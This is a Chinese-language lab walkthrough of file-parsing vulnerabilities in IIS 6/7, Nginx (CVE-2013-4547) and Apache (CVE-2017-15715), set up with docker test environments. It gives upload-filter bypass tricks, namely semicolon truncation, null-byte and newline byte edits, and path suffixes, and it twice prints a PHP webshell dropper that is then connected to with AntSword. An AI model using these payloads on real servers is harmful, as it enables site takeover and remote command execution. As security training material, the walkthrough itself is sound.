IIS
iis6.x 目录解析
在网站根目录建一个名为a.asp的文件
在a.asp中建一个jpg文件内容为<%=now()%> asp代码
在外部浏览器中访问windows2003的iis⽹站中的2.jpg 发现asp代码被执行
在新建一个2.jpg文件放在a.asp同级目录下再次打开,发现没有被解析,由此可⻅.asp⽂件夹中的任意 ⽂件会被当做asp⽂件去执⾏.
畸形文件解析
在IIS 6 处理⽂件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是 shell.asp。另外IIS6.0默认的可执⾏⽂件除了asp还包含 asa\cer\cdx
iis7.x
环境搭建
在Windows Server 2008R2中安装IIS后在安装PHPstudy for IIS....
步骤⼆:配置 php.ini ⽂件,将 cgi.fix_pathinfo=1 取消掉...并重启.
IIS --》 配置⽹站--》 处理程序映射--》 PHPStudy_FastCGI --》 请求限制 --》取消勾
利用
在根目录创建一个1.jpg内容为木马,打开发现没有被解析
在后面输入x.php就能解析执行了
Nginx
首先在docker中开启环境
cd /nginx/nginx_parsing_vulnerability
docker-compose build
docker-compose up -d
docker ps
制作图片🐎并上传
访问上传路径,没被解析后面输入/.php文件
解析
蚁剑连接
CVE-2013-4547
启动环境
上传一个1.php内容为一句话木马 被拦截抓包修改
php修改为jpg并且加一个空格 就可以上传成功了
在.jpg后⾯添加两个空格并给上 .php 后缀,在16进制修改中将原本两个空格的 0x20 修改为如下即 0x20 0x00 进⾏发包...
访问上传后的⽂件....由于url会将其编码,需要继续抓包修改 0x20 0x20 为 0x20 0x00
由于⽊⻢地址编码问题,⼯具连不到 可以使⽤以下的php代码输出⼀句话⽊⻢到当前⽬录
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
Apache
启动环境
cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d
docker ps
上传2.php.jpg文件内容为
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
拼接路径,解析了
访问⽣成的shell.php并执⾏命令,执⾏成功。
蚁剑测试连接成功
CVE-2017-15715
启动环境
上传木马被拦截
在evil.php⽂件后⾯添加空格 0x20 在改为 0x0a 再次返送即可上传成功
访问上传的evil⽂件在后⾯加上 %0a 再访问发现解析了其中的PHP代码,但后缀不是php说明 存在解析漏洞
蚁剑连接